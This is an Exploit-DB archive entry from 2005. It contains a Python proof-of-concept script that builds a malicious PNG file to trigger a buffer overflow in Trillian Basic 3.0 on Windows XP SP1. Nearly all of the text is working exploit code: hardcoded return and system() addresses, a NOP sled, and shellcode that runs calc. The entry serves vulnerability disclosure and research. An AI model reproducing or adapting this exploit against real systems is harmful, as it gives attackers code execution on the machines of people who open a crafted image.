Exploit-DB #852
Description: Trillian Basic 3.0 - '.png' Image Processing Buffer Overflow
Type: dos
Platform: windows
Date: 2005-03-02
Author: Tal Zeltzer

Exploit:
##################################################################
#                                                                #
#               See-security Technologies ltd.                   #
#                                                                #
#                http://www.see-security.com                     #
#                                                                #
##################################################################
#                                                                #
#    Trillian 3.0 PNG Image Processing Buffer overflow Exploit   #
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#                                                                #
#            Discovered and coded by: Tal zeltzer                #
#                                                                #
##################################################################


import sys
import struct


# Addresses are compatible with Windows XP Service Pack 1
ReturnAddress = 0x77D7A145 # Address of "jmp esp" in ntdll.dll 
SystemAddress = 0x77C28044 # Address Of the system() function

# PNG Header
PngOfDeath  = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
PngOfDeath += "\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
PngOfDeath += "\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53"

# Nops
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90"

# system(calc) shellcode
PngOfDeath += "\x33\xC0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\xb9"
PngOfDeath += struct.pack("<L",SystemAddress)
PngOfDeath += "\xFF\xD1"

# Junk Data
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

# Return Address
PngOfDeath += struct.pack("<L",ReturnAddress)

# Jump Back Shellcode
PngOfDeath += "\x54\x59\xFE\xCD\x89\xE5\xFF\xE1"

# End Of File
PngOfDeath += "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF"

fileOut = open("Trillian.png","wb")
fileOut.write(PngOfDeath)
fileOut.close()

# milw0rm.com [2005-03-02]